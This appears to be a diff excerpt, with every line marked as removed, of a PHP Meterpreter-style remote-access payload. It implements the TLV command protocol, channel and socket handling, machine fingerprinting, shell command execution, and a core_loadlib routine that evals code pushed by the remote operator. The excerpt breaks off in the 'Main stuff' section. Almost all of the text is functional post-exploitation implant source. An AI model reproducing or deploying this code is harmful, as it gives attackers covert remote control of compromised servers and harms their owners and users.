-define("PACKET_TYPE_PLAIN_REQUEST", 10); -define("PACKET_TYPE_PLAIN_RESPONSE", 11); - -define("ERROR_SUCCESS", 0); -define("ERROR_FAILURE", 1); - -define("CHANNEL_CLASS_BUFFERED", 0); -define("CHANNEL_CLASS_STREAM", 1); -define("CHANNEL_CLASS_DATAGRAM", 2); -define("CHANNEL_CLASS_POOL", 3); - -# -# TLV Meta Types -# -define("TLV_META_TYPE_NONE", ( 0 )); -define("TLV_META_TYPE_STRING", (1 << 16)); -define("TLV_META_TYPE_UINT", (1 << 17)); -define("TLV_META_TYPE_RAW", (1 << 18)); -define("TLV_META_TYPE_BOOL", (1 << 19)); -define("TLV_META_TYPE_QWORD", (1 << 20)); -define("TLV_META_TYPE_COMPRESSED", (1 << 29)); -define("TLV_META_TYPE_GROUP", (1 << 30)); -define("TLV_META_TYPE_COMPLEX", (1 << 31)); -# not defined in original -define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); - -# -# TLV base starting points -# -define("TLV_RESERVED", 0); -define("TLV_EXTENSIONS", 20000); -define("TLV_USER", 40000); -define("TLV_TEMP", 60000); - -# -# TLV Specific Types -# -define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); -define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1); -define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); -define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); -define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); - -define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); -define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); -define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); - -define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); -define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); -define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); - -define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); -define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); -define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); -define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); -define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); - -define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); -define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); -define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); - -define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); -define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); - -define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); -define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); -define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); -define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); - -define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460); -define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461); - -define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); -define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); - -function my_cmd($cmd) { - return shell_exec($cmd); -} - -function is_windows() { - return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); -} - - - -## -# Worker functions -## - -function core_channel_open($req, &$pkt) { - $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE); - - my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do"); - - # Doing it this way allows extensions to create new channel types without - # needing to modify the core code. - $handler = "channel_create_". $type_tlv['value']; - if ($type_tlv['value'] && is_callable($handler)) { - my_print("Calling {$handler}"); - $ret = $handler($req, $pkt); - } else { - my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =("); - $ret = ERROR_FAILURE; - } - - return $ret; -} - -# Works for streams -function core_channel_eof($req, &$pkt) { - my_print("doing channel eof"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $c = get_channel_by_id($chan_tlv['value']); - - if ($c) { - if (eof($c[1])) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1)); - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0)); - } - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} - -# Works -function core_channel_read($req, &$pkt) { - my_print("doing channel read"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); - $id = $chan_tlv['value']; - $len = $len_tlv['value']; - $data = channel_read($id, $len); - if ($data === false) { - $res = ERROR_FAILURE; - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); - $res = ERROR_SUCCESS; - } - return $res; -} - -# Works -function core_channel_write($req, &$pkt) { - #my_print("doing channel write"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); - $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); - $id = $chan_tlv['value']; - $data = $data_tlv['value']; - $len = $len_tlv['value']; - - $wrote = channel_write($id, $data, $len); - if ($wrote === false) { - return ERROR_FAILURE; - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote)); - return ERROR_SUCCESS; - } -} - -# -# This is called when the client wants to close a channel explicitly. Not to be confused with -# -function core_channel_close($req, &$pkt) { - global $channel_process_map; - # XXX remove the closed channel from $readers - my_print("doing channel close"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $id = $chan_tlv['value']; - - $c = get_channel_by_id($id); - if ($c) { - # We found a channel, close its stdin/stdout/stderr - channel_close_handles($id); - - # This is an explicit close from the client, always remove it from the - # list, even if it has data. - channel_remove($id); - - # if the channel we're closing is associated with a process, kill the - # process - # Make sure the stdapi function for closing a process handle is - # available before trying to clean up - if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) { - close_process($channel_process_map[$id]); - } - return ERROR_SUCCESS; - } - dump_channels("after close"); - - return ERROR_FAILURE; -} - -# -# Destroy a channel and all associated handles. -# -function channel_close_handles($cid) { - global $channels; - - # Sanity check - make sure a channel with the given cid exists - if (!array_key_exists($cid, $channels)) { - return; - } - $c = $channels[$cid]; - for($i = 0; $i < 3; $i++) { - #my_print("closing channel fd $i, {$c[$i]}"); - if (array_key_exists($i, $c) && is_resource($c[$i])) { - close($c[$i]); - # Make sure the main loop doesn't select on this resource after we - # close it. - remove_reader($c[$i]); - } - } - - # axe it from the list only if it doesn't have any leftover data - if (strlen($c['data']) == 0) { - channel_remove($cid); - } -} - -function channel_remove($cid) { - global $channels; - unset($channels[$cid]); -} - -function core_channel_interact($req, &$pkt) { - global $readers; - - my_print("doing channel interact"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $id = $chan_tlv['value']; - - # True means start interacting, False means stop - $toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL); - - $c = get_channel_by_id($id); - if ($c) { - if ($toggle_tlv['value']) { - # Start interacting. If we're already interacting with this - # channel, it's an error and we should return failure. - if (!in_array($c[1], $readers)) { - # stdout - add_reader($c[1]); - # Make sure we don't add the same resource twice in the case - # that stdin == stderr - if (array_key_exists(2, $c) && $c[1] != $c[2]) { - # stderr - add_reader($c[2]); - } - $ret = ERROR_SUCCESS; - } else { - # Already interacting - $ret = ERROR_FAILURE; - } - } else { - # Stop interacting. If we're not interacting yet with this - # channel, it's an error and we should return failure. - if (in_array($c[1], $readers)) { - remove_reader($c[1]); # stdout - remove_reader($c[2]); # stderr - $ret = ERROR_SUCCESS; - } else { - # Not interacting. This is technically failure, but it seems - # the client sends us two of these requests in quick succession - # causing the second one to always return failure. When that - # happens we fail to clean up properly, so always return - # success here. - $ret = ERROR_SUCCESS; - } - } - } else { - # Not a valid channel - my_print("Trying to interact with an invalid channel"); - $ret = ERROR_FAILURE; - } - return $ret; -} - -function interacting($cid) { - global $readers; - $c = get_channel_by_id($cid); - if (in_array($c[1], $readers)) { - return true; - } - return false; -} - - -function core_shutdown($req, &$pkt) { - my_print("doing core shutdown"); - die(); -} - -# zlib support is not compiled in by default, so this makes sure the library -# isn't compressed before eval'ing it -# TODO: check for zlib support and decompress if possible -function core_loadlib($req, &$pkt) { - global $commands; - my_print("doing core_loadlib"); - $data_tlv = packet_get_tlv($req, TLV_TYPE_DATA); - if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) { - return ERROR_FAILURE; - } - $tmp = $commands; - eval($data_tlv['value']); - $new = array_diff($commands, $tmp); - foreach ($new as $meth) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth)); - } - - return ERROR_SUCCESS; -} - - -function core_uuid($req, &$pkt) { - my_print("doing core_uuid"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID)); - return ERROR_SUCCESS; -} - - -function get_hdd_label() { - foreach (scandir('/dev/disk/by-id/') as $file) { - foreach (array("ata-", "mb-") as $prefix) { - if (strpos($file, $prefix) === 0) { - return substr($file, strlen($prefix)); - } - } - } - return ""; -} - -function core_machine_id($req, &$pkt) { - my_print("doing core_machine_id"); - $machine_id = gethostname(); - $serial = ""; - - if (is_windows()) { - # It's dirty, but there's not really a nicer way of doing this on windows. Make sure - # it's lowercase as this is what the other meterpreters use. - $output = strtolower(shell_exec("vol %SYSTEMDRIVE%")); - $serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output); - } else { - $serial = get_hdd_label(); - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id)); - return ERROR_SUCCESS; -} - - -## -# Channel Helper Functions -## -$channels = array(); - -function register_channel($in, $out=null, $err=null) { - global $channels; - if ($out == null) { $out = $in; } - if ($err == null) { $err = $out; } - $channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => ''); - - # Grab the last index and use it as the new ID. - $id = end(array_keys($channels)); - my_print("Created new channel $in, with id $id"); - return $id; -} - -# -# Channels look like this: -# -# Array -# ( -# [0] => Array -# ( -# [0] => Resource id #12 -# [1] => Resource id #13 -# [2] => Resource id #14 -# [type] => 'stream' -# [data] => '...' -# ) -# ) -# -function get_channel_id_from_resource($resource) { - global $channels; - if (empty($channels)) { - return false; - } - foreach ($channels as $i => $chan_ary) { - if (in_array($resource, $chan_ary)) { - my_print("Found channel id $i"); - return $i; - } - } - return false; -} - -function get_channel_by_id($chan_id) { - global $channels; - my_print("Looking up channel id $chan_id"); - #dump_channels("in get_channel_by_id"); - if (array_key_exists($chan_id, $channels)) { - my_print("Found one"); - return $channels[$chan_id]; - } else { - return false; - } -} - -# Write data to the channel's stdin -function channel_write($chan_id, $data) { - $c = get_channel_by_id($chan_id); - if ($c && is_resource($c[0])) { - my_print("---Writing '$data' to channel $chan_id"); - return write($c[0], $data); - } else { - return false; - } -} - -# Read from the channel's stdout -function channel_read($chan_id, $len) { - $c = get_channel_by_id($chan_id); - if ($c) { - # First get any pending unread data from a previous read - $ret = substr($c['data'], 0, $len); - $c['data'] = substr($c['data'], $len); - if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); } - - # Next grab stderr if we have it and it's not the same file descriptor - # as stdout. - if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) { - # Read as much as possible into the channel's data buffer - $read = read($c[2]); - $c['data'] .= $read; - - # Now slice out however much the client asked for. If there's any - # left over, they'll get it next time. If it doesn't add up to - # what they requested, oh well, they'll just have to call read - # again. Looping until we get the requested number of bytes is - # inconsistent with win32 meterpreter and causes the whole php - # process to block waiting on input. - $bytes_needed = $len - strlen($ret); - $ret .= substr($c['data'], 0, $bytes_needed); - $c['data'] = substr($c['data'], $bytes_needed); - } - - # Then if there's still room, grab stdout - if (strlen($ret) < $len and is_resource($c[1])) { - # Same as above, but for stdout. This will overwrite a false - # return value from reading stderr but the two should generally - # EOF at the same time, so it should be fine. - $read = read($c[1]); - $c['data'] .= $read; - $bytes_needed = $len - strlen($ret); - $ret .= substr($c['data'], 0, $bytes_needed); - $c['data'] = substr($c['data'], $bytes_needed); - } - - # In the event of one or the other of the above read()s returning - # false, make sure we have sent any pending unread data before saying - # EOF by returning false. Note that if they didn't return false, it is - # perfectly legitimate to return an empty string which just means - # there's no data right now but we haven't hit EOF yet. - if (false === $read and empty($ret)) { - if (interacting($chan_id)) { - handle_dead_resource_channel($c[1]); - } - return false; - } - return $ret; - } else { - return false; - } -} - - - - -## -# TLV Helper Functions -## - -function generate_req_id() { - $characters = 'abcdefghijklmnopqrstuvwxyz'; - $rid = ''; - - for ($p = 0; $p < 32; $p++) { - $rid .= $characters[rand(0, strlen($characters)-1)]; - } - - return $rid; -} - -function handle_dead_resource_channel($resource) { - global $msgsock; - - if (!is_resource($resource)) { - return; - } - - $cid = get_channel_id_from_resource($resource); - if ($cid === false) { - my_print("Resource has no channel: {$resource}"); - - # Make sure the provided resource gets closed regardless of it's status - # as a channel - remove_reader($resource); - close($resource); - } else { - my_print("Handling dead resource: {$resource}, for channel: {$cid}"); - - # Make sure we close other handles associated with this channel as well - channel_close_handles($cid); - - # Notify the client that this channel is dead - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close')); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write($msgsock, $pkt); - } - - return; -} - -function handle_resource_read_channel($resource, $data) { - global $udp_host_map; - $cid = get_channel_id_from_resource($resource); - my_print("Handling data from $resource"); - - # Build a new Packet - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write')); - if (array_key_exists((int)$resource, $udp_host_map)) { - list($h,$p) = $udp_host_map[(int)$resource]; - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p)); - } - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - return $pkt; -} - -function create_response($req) { - $pkt = pack("N", PACKET_TYPE_RESPONSE); - - $method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD); - my_print("method is {$method_tlv['value']}"); - packet_add_tlv($pkt, $method_tlv); - - $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); - packet_add_tlv($pkt, $reqid_tlv); - - if (is_callable($method_tlv['value'])) { - $result = $method_tlv['value']($req, $pkt); - } else { - my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure"); - $result = ERROR_FAILURE; - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - return $pkt; -} - -function create_tlv($type, $val) { - return array( 'type' => $type, 'value' => $val ); -} - -function tlv_pack($tlv) { - $ret = ""; - #my_print("Creating a tlv of type: {$tlv['type']}"); - if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); - } - elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { - $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; - $lo = $tlv['value'] & 0xFFFFFFFF; - $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); - } - elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); - } - elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - # PHP's pack appears to be busted for chars, - $ret = pack("NN", 8 + 1, $tlv['type']); - $ret .= $tlv['value'] ? "\x01" : "\x00"; - } - elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { - # treat groups the same as raw - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { - # treat complex the same as raw - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - else { - my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); - } - return $ret; -} - -function tlv_unpack($raw_tlv) { - $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8)); - $type = $tlv['type']; - my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); - # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing - # NULL, so catch that here - $tlv['value'] = str_replace("\0", "", $tlv['value']); - } - elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { - $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); - $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; - } - elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $tlv = unpack("Nlen/Ntype", $raw_tlv); - $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); - } - else { - my_print("Wtf type is this? $type"); - $tlv = null; - } - return $tlv; -} - -function packet_add_tlv(&$pkt, $tlv) { - $pkt .= tlv_pack($tlv); -} - -function packet_get_tlv($pkt, $type) { - #my_print("Looking for a tlv of type $type"); - # Start at offset 8 to skip past the packet header - $offset = 8; - while ($offset < strlen($pkt)) { - $tlv = tlv_unpack(substr($pkt, $offset)); - #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { - #my_print("Found one at offset $offset"); - return $tlv; - } - $offset += $tlv['len']; - } - #my_print("Didn't find one, wtf"); - return false; -} - - -function packet_get_all_tlvs($pkt, $type) { - my_print("Looking for all tlvs of type $type"); - # Start at offset 8 to skip past the packet header - $offset = 8; - $all = array(); - while ($offset < strlen($pkt)) { - $tlv = tlv_unpack(substr($pkt, $offset)); - if ($tlv == NULL) { - break; - } - my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { - my_print("Found one at offset $offset"); - array_push($all, $tlv); - } - $offset += $tlv['len']; - } - return $all; -} - - -## -# Functions for genericizing the stream/socket conundrum -## - - -function register_socket($sock, $ipaddr=null, $port=null) { - global $resource_type_map, $udp_host_map; - my_print("Registering socket $sock for ($ipaddr:$port)"); - $resource_type_map[(int)$sock] = 'socket'; - if ($ipaddr) { - $udp_host_map[(int)$sock] = array($ipaddr, $port); - #dump_array($udp_host_map, "UDP Map after registering a new socket"); - } -} - -# The stream functions cannot be unconnected, so don't require a host map -function register_stream($stream, $ipaddr=null, $port=null) { - global $resource_type_map, $udp_host_map; - my_print("Registering stream $stream for ($ipaddr:$port)"); - $resource_type_map[(int)$stream] = 'stream'; - if ($ipaddr) { - $udp_host_map[(int)$stream] = array($ipaddr, $port); - #dump_array($udp_host_map, "UDP Map after registering a new stream"); - } -} - -function connect($ipaddr, $port, $proto='tcp') { - my_print("Doing connect($ipaddr, $port)"); - $sock = false; - - # IPv6 requires brackets around the address in some cases, but not all. - # Keep track of the un-bracketed address for the functions that don't like - # brackets, specifically socket_connect and socket_sendto. - $ipf = AF_INET; - $raw_ip = $ipaddr; - if (FALSE !== strpos($ipaddr, ":")) { - $ipf = AF_INET6; - $ipaddr = "[". $raw_ip ."]"; - } - - # Prefer the stream versions so we don't have to use both select functions - # unnecessarily, but fall back to socket_create if they aren't available. - if (is_callable('stream_socket_client')) { - my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})"); - $sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}"); - my_print("Got a sock: $sock"); - if (!$sock) { return false; } - if ($proto == 'tcp') { - register_stream($sock); - } elseif ($proto == 'udp') { - register_stream($sock, $ipaddr, $port); - } else { - my_print("WTF proto is this: '$proto'"); - } - } else - if (is_callable('fsockopen')) { - my_print("fsockopen"); - if ($proto == 'tcp') { - $sock = fsockopen($ipaddr,$port); - if (!$sock) { return false; } - if (is_callable('socket_set_timeout')) { - socket_set_timeout($sock, 2); - } - register_stream($sock); - } else { - $sock = fsockopen($proto."://".$ipaddr,$port); - if (!$sock) { return false; } - register_stream($sock, $ipaddr, $port); - } - } else - if (is_callable('socket_create')) { - my_print("socket_create"); - if ($proto == 'tcp') { - $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP); - $res = socket_connect($sock, $raw_ip, $port); - if (!$res) { return false; } - register_socket($sock); - } elseif ($proto == 'udp') { - $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP); - register_socket($sock, $raw_ip, $port); - } - } - - return $sock; -} - -function eof($resource) { - $ret = false; - switch (get_rtype($resource)) { - # XXX Doesn't work with sockets. - case 'socket': break; - case 'stream': - # We set the socket timeout for streams opened with fsockopen() when - # they are created. I hope this is enough to deal with hangs when - # calling feof() on socket streams, but who knows. This is PHP, - # anything could happen. Some day they'll probably add a new function - # called stream_eof() and it will handle sockets properly except for - # some edge case that happens for every socket except the one or two - # they tested it on and it will always return false on windows and - # later they'll rename it to real_stream_eof_this_language_isretarded(). - # - # See http://us2.php.net/manual/en/function.feof.php , specifically this: - # If a connection opened by fsockopen() wasn't closed by the server, - # feof() will hang. To workaround this, see below example: - # <?php - # function safe_feof($fp, &$start = NULL) { - # ... - $ret = feof($resource); - break; - } - return $ret; -} - -function close($resource) { - my_print("Closing resource $resource"); - global $resource_type_map, $udp_host_map; - - remove_reader($resource); - switch (get_rtype($resource)) { - case 'socket': $ret = socket_close($resource); break; - case 'stream': $ret = fclose($resource); break; - } - # Every resource should be in the resource type map, but check anyway - if (array_key_exists((int)$resource, $resource_type_map)) { - unset($resource_type_map[(int)$resource]); - } - if (array_key_exists((int)$resource, $udp_host_map)) { - my_print("Removing $resource from udp_host_map"); - unset($udp_host_map[(int)$resource]); - } - return $ret; -} - -function read($resource, $len=null) { - global $udp_host_map; - # Max packet length is magic. If we're reading a pipe that has data but - # isn't going to generate any more without some input, then reading less - # than all bytes in the buffer or 8192 bytes, the next read will never - # return. - if (is_null($len)) { $len = 8192; } - #my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource))); - $buff = ''; - switch (get_rtype($resource)) { - case 'socket': - if (array_key_exists((int)$resource, $udp_host_map)) { - my_print("Reading UDP socket"); - list($host,$port) = $udp_host_map[(int)$resource]; - socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port); - } else { - my_print("Reading TCP socket"); - $buff .= socket_read($resource, $len, PHP_BINARY_READ); - } - break; - case 'stream': - global $msgsock; - # Calling select here should ensure that we never try to read from a socket - # or pipe that doesn't currently have data. If that ever happens, the - # whole php process will block waiting for data that may never come. - # Unfortunately, selecting on pipes created with proc_open on Windows - # always returns immediately. Basically, shell interaction in Windows - # is hosed until this gets figured out. - $r = Array($resource); - my_print("Calling select to see if there's data on $resource"); - while (true) { - $w=NULL;$e=NULL;$t=0; - $cnt = stream_select($r, $w, $e, $t); - - # Stream is not ready to read, have to live with what we've gotten - # so far - if ($cnt === 0) { - break; - } - - # if stream_select returned false, something is wrong with the - # socket or the syscall was interrupted or something. - if ($cnt === false or feof($resource)) { - my_print("Checking for failed read..."); - if (empty($buff)) { - my_print("---- EOF ON $resource ----"); - $buff = false; - } - break; - } - - $md = stream_get_meta_data($resource); - dump_array($md); - if ($md['unread_bytes'] > 0) { - $buff .= fread($resource, $md['unread_bytes']); - break; - } else { - #$len = 1; - $tmp = fread($resource, $len); - $buff .= $tmp; - if (strlen($tmp) < $len) { - break; - } - } - - if ($resource != $msgsock) { my_print("buff: '$buff'"); } - $r = Array($resource); - } - my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff))); - break; - default: - # then this is possibly a closed channel resource, see if we have any - # data from previous reads - $cid = get_channel_id_from_resource($resource); - $c = get_channel_by_id($cid); - if ($c and $c['data']) { - $buff = substr($c['data'], 0, $len); - $c['data'] = substr($c['data'], $len); - my_print("Aha! got some leftovers"); - } else { - my_print("Wtf don't know how to read from resource $resource, c: $c"); - if (is_array($c)) { - dump_array($c); - } - break; - } - } - my_print(sprintf("Read %d bytes", strlen($buff))); - return $buff; -} - -function write($resource, $buff, $len=0) { - global $udp_host_map; - if ($len == 0) { $len = strlen($buff); } - #my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource))); - $count = false; - switch (get_rtype($resource)) { - case 'socket': - if (array_key_exists((int)$resource, $udp_host_map)) { - my_print("Writing UDP socket"); - list($host,$port) = $udp_host_map[(int)$resource]; - $count = socket_sendto($resource, $buff, $len, $host, $port); - } else { - $count = socket_write($resource, $buff, $len); - } - break; - case 'stream': - $count = fwrite($resource, $buff, $len); - fflush($resource); - break; - default: my_print("Wtf don't know how to write to resource $resource"); break; - } - return $count; -} - -function get_rtype($resource) { - global $resource_type_map; - if (array_key_exists((int)$resource, $resource_type_map)) { - return $resource_type_map[(int)$resource]; - } - return false; -} - -function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) { - $streams_r = array(); - $streams_w = array(); - $streams_e = array(); - - $sockets_r = array(); - $sockets_w = array(); - $sockets_e = array(); - - if ($r) { - foreach ($r as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_r[] = $resource; break; - case 'stream': $streams_r[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - if ($w) { - foreach ($w as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_w[] = $resource; break; - case 'stream': $streams_w[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - if ($e) { - foreach ($e as $resource) { - switch (get_rtype($resource)) { - case 'socket': $sockets_e[] = $resource; break; - case 'stream': $streams_e[] = $resource; break; - default: my_print("Unknown resource type"); break; - } - } - } - - $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); - $n_streams = count($streams_r) + count($streams_w) + count($streams_e); - #my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec"); - $r = array(); - $w = array(); - $e = array(); - - # Workaround for some versions of PHP that throw an error and bail out if - # select is given an empty array - if (count($sockets_r)==0) { $sockets_r = null; } - if (count($sockets_w)==0) { $sockets_w = null; } - if (count($sockets_e)==0) { $sockets_e = null; } - if (count($streams_r)==0) { $streams_r = null; } - if (count($streams_w)==0) { $streams_w = null; } - if (count($streams_e)==0) { $streams_e = null; } - - $count = 0; - if ($n_sockets > 0) { - $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); - if (false === $res) { return false; } - if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); } - if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); } - if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); } - $count += $res; - } - if ($n_streams > 0) { - $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); - if (false === $res) { return false; } - if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); } - if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); } - if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); } - $count += $res; - } - #my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e))); - return $count; -} - -function add_reader($resource) { - global $readers; - if (is_resource($resource) && !in_array($resource, $readers)) { - $readers[] = $resource; - } -} - -function remove_reader($resource) { - global $readers; - #my_print("Removing reader: $resource"); - #dump_readers(); - if (in_array($resource, $readers)) { - foreach ($readers as $key => $r) { - if ($r == $resource) { - unset($readers[$key]); - } - } - } -} - - -## -# Main stuff -## - -ob_implicit_flush(); - -# For debugging -#error_reporting(E_ALL); -# Turn off error reporting so we don't leave any ugly 